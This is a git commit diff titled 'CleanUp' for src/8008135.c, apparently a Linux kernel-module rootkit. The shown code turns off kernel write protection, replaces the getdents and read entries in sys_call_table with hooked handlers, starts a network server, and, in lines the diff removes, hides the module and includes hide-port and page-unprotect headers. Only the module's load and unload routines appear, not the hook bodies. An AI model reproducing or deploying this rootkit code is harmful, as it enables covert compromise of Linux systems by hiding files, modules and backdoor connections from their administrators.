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CleanUp

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This commit is contained in:
Valentin Lechner 2019-12-08 12:02:33 +01:00
parent 53e95217c2
commit ed5b2fa92a
1 changed files with 12 additions and 26 deletions
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38
src/8008135.c
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@ -22,11 +22,6 @@
/**** includes *****************************************************************
*******************************************************************************/
#include "8008135.h"
#include "50ck3t.h"
#include "637d3n75.h"
#include "h1d3m0dul3.h"
#include "h1d3p0r7.h"
#include "p463unpr073c7.h"
/*******************************************************************************/
@ -37,48 +32,39 @@
* RETURNS: int
*******************************************************************************/
static int __init init_8008135(void) {
printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);
sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
sys_read_orig = (sys_read_ptr)((void**)sys_call_table)[__NR_read];
// turn write protect off
wprotectionoff();
// add our new handlers
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
orig_read = (read_ptr)sys_call_table[__NR_read];
sys_call_table[READ_SYSCALL_NUM] = (unsigned long) hacked_read;
// turn write protect back on
sys_call_table[__NR_getdents] = sys_getdents_new;
sys_call_table[__NR_read] = sys_read_fake;
wprotectionon();
printk(KERN_INFO "New syscall in place\n");
network_server_init();
hide_module();
printk(KERN_INFO "Module hidden");
return 0;
}
/*** FUNCTION ****************************************************************
* NAME: 8008135_exit
* DESCRIPTION: unloading Kernel Module
* DESCRIPTION: unloading Kernel Module, restoring the original system call table
* PARAMETERS: -
* RETURNS: -
*******************************************************************************/
static void __exit exit_8008135(void) {
network_server_exit();
wprotectionoff();
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
sys_call_table[READ_SYSCALL_NUM] = (unsigned long) orig_read;
// turn write protect back on
sys_call_table[__NR_getdents] = sys_getdents_orig;
sys_call_table[__NR_read] = sys_read_orig;
wprotectionon();
printk(KERN_INFO "Old syscall back\n");
}
/*******************************************************************************/